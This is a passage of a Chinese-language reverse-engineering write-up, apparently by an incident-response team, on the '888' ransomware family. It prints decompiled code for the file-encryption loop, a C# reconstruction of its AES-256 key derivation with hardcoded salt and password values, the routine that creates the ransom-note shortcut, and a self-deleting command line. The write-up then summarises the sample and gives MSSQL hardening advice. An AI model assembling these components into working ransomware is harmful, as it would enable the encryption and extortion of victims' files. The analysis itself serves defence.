\_QWORD, \_QWORD))(\*\*(\_QWORD \*\*)(v35 + 16) + 216i64))( \*(\_QWORD \*)(v35 + 16), v36, 0i64, v44); sub\_7FF643ACCEC0(v35, 0i64, 0i64); v33 = RhpNewFast(&unk\_7FF643BC7578); sub\_7FF643AF7EA0(v33, v35, v37, 1, 0); v24 = RhpNewArray(&unk\_7FF643BFE7C0, Enumerator); v48 = 0i64; while ( sub\_7FF643ACCBB0(v35) > v48 ) { v47 = sub\_7FF643ACCC00(v35); v43 = \*(\_DWORD \*)(v24 + 8); if ( (\*(unsignedint (\_\_fastcall \*\*)(\_QWORD))(\*\*(\_QWORD \*\*)(v35 + 16) + 240i64))(\*(\_QWORD \*)(v35 + 16)) ) sub\_7FF643A9D1D0(); v46 = (\*(\_\_int64 (\_\_fastcall \*\*)(\_QWORD, \_\_int64, \_QWORD, \_QWORD))(\*\*(\_QWORD \*\*)(v35 + 16) + 200i64))( \*(\_QWORD \*)(v35 + 16), v24, 0i64, v43); v48 += v46; sub\_7FF643ACCC50(v35, v47); System\_Security\_Cryptography\_System\_Security\_Cryptography\_CryptoStream\_\_Write(v33, v24, 0, v46); } 其中生成key和iv的方法如下,iterations和hashAlgorithm可以通过动态调式得到 int iterations = 50000; using (var deriveBytes = new Rfc2898DeriveBytes( password: passwordBytes, salt: saltBytes, iterations: iterations, hashAlgorithm: HashAlgorithmName.SHA256)) { byte\[\] key = deriveBytes.GetBytes(32); // AES-256密钥 byte\[\] iv = deriveBytes.GetBytes(16); 接着拼接字符串 `Done||文件名`,然后使用 string salt = "Ed5w7OB07XyYegT57in85K82oHdRSx0bLKOKDCCGGKI="; string password = "+7Qvnh2QKaffTK+NQYapC6DwoJGM1StCA/9R9fCdR6o="; 生成密钥,接着对其进行aes加密,然后将生成的密文的长度转换为字符串,再用刚刚的密钥进行加密  接着再用相同的密钥对前面生成的guid1进行加密。 通过文件名生成密钥来对guid2进行加密 byte\[\] filename\_byte = ComputeTruncatedHash(sha256, filename, 16); string base\_filename = Convert.ToBase64String(filename\_byte); string file\_concat1 = "e9+zXBNtL8ALaRk=" + base\_filename + "IewroqVNVUV0" + "5A16614A468925B4"; byte\[\] guid2\_password\_byte = ComputeTruncatedHash(sha256, file\_concat1, 32); string guid2\_password = Convert.ToBase64String(guid2\_password\_byte); string file\_concat2 = "D8NSVR1FARLvFrc=" + base\_filename + "Q9584Xb6oe9J" + "62490E5EC202"; byte\[\] guid2\_salt\_byte = ComputeTruncatedHash(sha256, file\_concat2, 32); string guid2\_salt = Convert.ToBase64String(guid2\_salt\_byte); 最后再加密字符串`encr`,密钥跟加密文件的密钥相同 ### **创建勒索信快捷方式** 在网络位置处创建勒索信的快捷方式 \_\_int64 \_\_fastcall sub\_7FF643B1A7D0(\_\_int64 a1, \_\_int64 a2, unsigned int n0xEB) { \_\_int64 EnvironmentVariable\_1; // rax \_\_int64 v7; // rbx \_\_int64 EnvironmentVariable; // rax \_\_int64 EnvironmentVariable\_2; // r14 \_\_int64 result; // rax \_\_int64 v11; // r15 \_\_int64 v12; // r13 \_\_int64 v13; // rax \_\_int64 v14; // rsi \_\_int64 v15; // rax \_\_int64 v16; // rax \_\_int64 v17; // rax \_\_int64 v18; // rax \_\_int64 v19; // rax \_\_int64 v20; // rax \_\_int64 v21; // rbx \_\_int64 UTF8BomThrowing; // rdi EnvironmentVariable\_1 = sub\_7FF643A87F00(); v7 = sub\_7FF643ACEA80(EnvironmentVariable\_1, a1); EnvironmentVariable = S\_P\_CoreLib\_System\_Environment\_\_GetEnvironmentVariable(&off\_7FF643B9C708); EnvironmentVariable\_2 = String\_\_Concat\_5(EnvironmentVariable, &off\_7FF643BAC628); result = S\_P\_CoreLib\_System\_Environment\_\_GetEnvironmentVariable(&off\_7FF643BAF580); if ( result ) { if ( \*(\_DWORD \*)(result + 8) ) { v11 = sub\_7FF643ACEAC0(result, &off\_7FF643BAA6C8, &off\_7FF643BAEE08); v12 = RhpNewFast(&unk\_7FF643BC0858); v13 = String\_\_Concat\_5(a2, &off\_7FF643B94780);// !RESTORE\_FILES!.url v14 = sub\_7FF643ACEA80(EnvironmentVariable\_2, v13); \*(\_DWORD \*)(v12 + 32) = 0x7FFFFFFF; v15 = RhpNewArray(&unk\_7FF643BFE858, 16i64); RhpAssignRefAVLocation(v12 + 8, v15); S\_P\_CoreLib\_System\_Text\_StringBuilder\_\_AppendLine\_0(v12, &off\_7FF643BAC580); v16 = String\_\_Replace\_1(v7, 92i64, 47i64);// C:/Windows/System32/!RESTORE\_FILES!.txt v17 = String\_\_Concat\_5(&off\_7FF643BAB7A8, v16);// URL=file:///C:/Windows/System32/!RESTORE\_FILES!.txt S\_P\_CoreLib\_System\_Text\_StringBuilder\_\_AppendLine\_0(v12, v17); v18 = String\_\_Concat\_5(&off\_7FF643BA4450, v11); S\_P\_CoreLib\_System\_Text\_StringBuilder\_\_AppendLine\_0(v12, v18);// IconFile=C:\\Windows\\System32\\shell32.dll v19 = S\_P\_CoreLib\_System\_Number\_\_Int32ToDecStr(n0xEB);// 235 v20 = String\_\_Concat\_5(&off\_7FF643BA4478, v19); S\_P\_CoreLib\_System\_Text\_StringBuilder\_\_AppendLine\_0(v12, v20);// IconIndex=235 v21 = S\_P\_CoreLib\_System\_Text\_StringBuilder\_\_ToString(v12); UTF8BomThrowing = S\_P\_Xml\_System\_Xml\_XmlTextReaderImpl\_\_get\_UTF8BomThrowing(); sub\_7FF643ACBE50(v14, UTF8BomThrowing); return sub\_7FF643ACBEA0(v14, 2i64, v21, UTF8BomThrowing); } } return result; } 如下  ### **删除密钥文件** 删除如下文件 C:\\Windows\\Temp\\!wwwGdddf#.txt //密钥文件 C:\\windows\\temp\\!wwkdsfdsfewt.txt //通过计算机信息计算出来的hash  ### **替换壁纸** 通过修改注册表键值来替换壁纸  解析base64编码的图片  将其写入`C:\Users\Public\img___XXX.jpg`,图片如下  修改后的注册表如下  ### **自删除** 执行如下指令进行自删除 /C @echo off && ping -n 1 127.0.0.1 > nul && del /q /f "加密器路径" 5.病毒分析概览 ======== 根据对样本的深入逆向工程分析,得出该勒索病毒分析结果概览: 该恶意软件是一个勒索软件,主要行为总结如下: - 加密方式: - 使用AES-256算法,密钥基于随机GUID、MAC地址和计算机名动态生成。 - 排除系统目录(如`System32`),跳过白名单文件(如勒索信`!RESTORE_FILES!.txt`)。 - 生成勒索信: - 桌面生成勒索信快捷方式(`.url`),图标伪装为系统文件。 - 修改注册表键值(`HKCU\Control Panel\Desktop\Wallpaper`)替换壁纸。 - 反分析策略: - 动态拼接关键字符串,规避静态检测。 - 删除临时密钥文件(如`C:\Windows\Temp\!wwkdsfdsfewt.txt`)。 **总结:** 高度组织化的勒索攻击,技术复杂且对抗性强,需结合动态行为监控与纵深防御体系阻断传播链。 **6.安全建议** ========== 针对888家族的攻击行为,Solar团队已发布**专项防护与加固建议**,包括数据库弱口令治理、MSSQL安全基线检查、服务器目录权限收紧、异常文件投放监测等措施,详情可参考[【漏洞与预防】MSSQL数据库弱口令漏洞预防](https://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&mid=2247496466&idx=1&sn=85d35deb77fc1bd39b867706687280c5&scene=21#wechat_redirect)
发表于 2025-06-16 09:00:02
阅读 ( 229 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
solar专业应急响应团队
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!